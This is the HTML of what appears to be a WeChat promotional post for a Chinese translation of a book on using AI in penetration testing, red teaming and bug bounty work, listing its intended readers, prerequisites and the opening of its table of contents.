100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 15px;">希望每一位读者都能从这本书中找到属于自己的答案：如何在AI与安全的博弈中，既成为规则的挑战者，也成为规则的塑造者。这本书不仅仅是一本技术手册，它更像是一面镜子，映射出我们这个行业的现状与未来。当AI开始具备推理和学习能力时，攻击与防御的边界正在逐渐模糊。而这本书的意义就在于，它为我们提供了重新定义攻击艺术的可能性。</span></span></p><p nodeleaf=""><mp-common-cpsad data-pluginname="mpcps" data-templateid="list" data-cpsversion="v122" data-goodssouce="1" data-traceid="ae6114ba-ed56-4710-98e1-1924de73e943" data-pid="101_15313060"></mp-common-cpsad></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 15px;">全书聚</span><span textstyle="" style="font-size: 15px;font-weight: bold;">焦人工智能与安全测试</span><span textstyle="" style="font-size: 15px;">的交叉创新，系统性地介绍了从AI辅助信息收集到漏洞利用开发等前沿技术。通过结合传统安全方法论和新兴技术，本书为读者构建了一幅完整的现代安全测试知识图谱，帮助读者在这一新兴领域开展探索之旅。</span></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 15px;">欢迎探索道德黑客的未来！</span></span></p><p nodeleaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;"><img data-aistatus="1" alt="图片" class="rich_pages wxw-img js_insertlocalimg" data-ratio="1" data-s="300,640" data-type="jpeg" data-w="800" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;width: 438px !important;visibility: visible !important;" type="block" data-imgfileid="100017930" src="https://wechat2rss.xlab.app/img-proxy/?k=1b26fb4b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlFDuP33dcDOa58TI2Ac9g2N3dL8rwhxIxUJUlmcmzvZUicSzYaheib5cRqNdicTjwVU3NoyQMapWwNJVSI3QwoRpffGUvtbpiaq521ibvQCK8UJw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D1"/></p><div data-support="96编辑器" data-style-id="35631" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.621714px;background-color: rgb(255, 255, 255);"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 10px 0px 26px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: center;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: flex;justify-content: center;align-items: center;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 3px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;border-width: 1px;border-style: solid;border-color: rgb(95, 104, 147);"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 3px 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;background-color: rgb(250, 243, 231);"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(55, 66, 120);letter-spacing: 2px;transform: rotateZ(0deg);font-size: 18px;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">读者对象</span></p></div></div></div></div></div></div><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 15px;">本书适合三类读者阅读：</span></span></p><ul style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px 0px 0px 1.2em;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;list-style-type: square;" class="list-paddingleft-1"><li style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 15px;">网络安全入门者、计划从事红队评估的网络安全从业人员，以及希望提升专业知识的漏洞挖掘研究人员。</span></span></p></li><li style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 15px;">希望在红队评估中使用人工智能技术的安全专家</span></span></p></li><li style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 15px;">正在组建或提升红队评估能力的机构团队。</span></span></p></li></ul><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 15px;">学习本书需要具备的基础知识包括：网络、操作系统、网络技术的基础知识，以及网络安全的基本概念和专业术语。</span></span></p><div data-support="96编辑器" data-style-id="35631" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.621714px;background-color: rgb(255, 255, 255);"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 10px 0px 26px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: center;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: flex;justify-content: center;align-items: center;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 3px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;border-width: 1px;border-style: solid;border-color: rgb(95, 104, 147);"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 3px 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;background-color: rgb(250, 243, 231);"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(55, 66, 120);letter-spacing: 2px;transform: rotateZ(0deg);font-size: 18px;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">目录</span></p></div></div></div></div></div></div><div data-role="outer" label="Powered by 135editor.com" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.621714px;background-color: rgb(255, 255, 255);"><div data-id="90537" data-tools="135编辑器" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: -webkit-flex;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 1em 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;flex: 1 1 0%;"><p data-brushtype="text" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 20px;letter-spacing: 1.5px;text-align: center;"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 12px;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">上拉下滑查看目录 ↓</span></span></strong></p><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 20px 0px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 14px;text-align: center;height: 180px;overflow-y: scroll;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">Contents目　　录</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">译者序</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">前言</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">关于作者</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">关于技术审校者</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">第1章　渗透测试、红队评估和漏洞挖掘的演进  1</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">1.1　深入探索  1</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">1.1.1　未知的领域  2</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">1.1.2　人工智能速成指南  2</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">1.1.3　突破防线  3</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">1.1.4　高潮  4</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">1.1.5　后续步骤  5</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">1.2　行业概述  5</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">1.2.1　渗透测试、红队评估和漏洞挖掘</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">计划简介  5</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">1.2.2　这些方法为什么重要  6</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">1.2.3　黑客的演变  6</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">1.3　渗透测试的早期发展与演变  6</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">1.4　红队评估的兴起  8</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">1.5　漏洞挖掘计划的兴起  8</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">1.6　渗透测试、红队评估和漏洞挖掘的</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">融合  10</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">1.7　渗透测试、红队评估和漏洞挖掘的</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">未来  10</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">1.8　人工智能和机器学习在渗透测试、红队评估和漏洞挖掘中的应用不断增加  11</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">1.9　技能测试  12</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" 